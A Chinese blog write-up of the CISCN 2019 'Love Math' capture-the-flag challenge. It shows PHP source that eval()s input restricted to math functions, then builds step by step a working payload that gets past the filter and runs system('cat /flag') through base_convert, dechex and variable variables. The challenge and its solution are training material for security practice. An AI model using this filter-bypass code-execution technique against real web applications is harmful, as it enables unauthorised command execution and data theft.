BUUCTF [CISCN 2019 初赛]Love Math-优快云博客

本文链接：https://blog.youkuaiyun.com/2401_88083440/article/details/145702294

先来看看源码

 <?php
error_reporting(0);
//听说你很喜欢数学，不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

逻辑为：

（1）首先过滤掉奇怪的字符，比如：空格，\t,\r,\n,\,",[,],'

（2）'/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/' 匹配的是函数名，主要是检查函数名用的是不是白名单里的。

这里的题眼就是 eval 这个函数了，想想可以怎么做，命令执行那几个函数的功能还是得用到，只不过表示的形式不同，这里的函数应该可以把类似 system cat flag 等函数给表示出来。一步一步来。

?c=system('cat /flag')
# 这里的system cat /flag 会被过滤掉，因为是给c参数赋的值，如果c参数中不含有这几个函数呢？

# 已知PHP代码是可以通过这样表示的
$a='var_dump';
$a('123');

# 那就将system等看作是参数。变为：
?c=$_GET[a]($_GET[b])&a=system&b=cat /flag

# 这样一来，c参数中就不含有奇奇怪怪的函数了，但是作为_GET a b [] 还是会被过滤掉

# a和b这两个参数可以用数学函数名字用来命名，比如cos sin。[] 可以用{} 来代替,这样就变成了

?c=$_GET{cos}($_GET{sin})&cos=system&sin=cat /flag

最后就是这个_GET了，应该就是需要用到那里面的数学函数来进行转换了

hex2bin

hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符

但是hex2bin并没有在我们的白名单中，看看题目给的这个网站有没有什么函数可以利用

PHP Math 函数

base_convert()

在任意进制之间转换数字

因为观察到hex2bin 可以将其看作是由 [0-9][a-z] 所组成的数，而10（数字数）+26（字母数）=36，也就是36进制。这里我将 hex2bin 看作一个36进制的数，将其转换为10进制表示

所以hex2bin就能被表示为： base_convert(37907361743,10,36)

# 此时我们上面的式子就变成了：
?c=$_GET{cos}($_GET{sin})&cos=system&sin=cat /flag

# 此时由于有字数限制，两个GET留一个就行了，这里是可以多条语句一起注入的

?c=$pi=_GET;$$pi{cos}($$pi{sin})&cos=system&sin=cat /flag

# 这个时候再换_GET

?c=$pi=hex2bin('5f474554')

# 将hex2bin换掉

?c=$pi=base_convert(37907361743,10,36)('5f474554')

# 但此时的单引号和16进制数也是被过滤的，再找一个函数试试看

dechex()

把10进制转换为16进制，将这里的5f474554(16进制)转化为1598506324(10进制)

故('5f474554')可以转化为:(dechex(1598506324))

最后的payload为：
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{cos}($$pi{sin})&cos=system&sin=cat /flag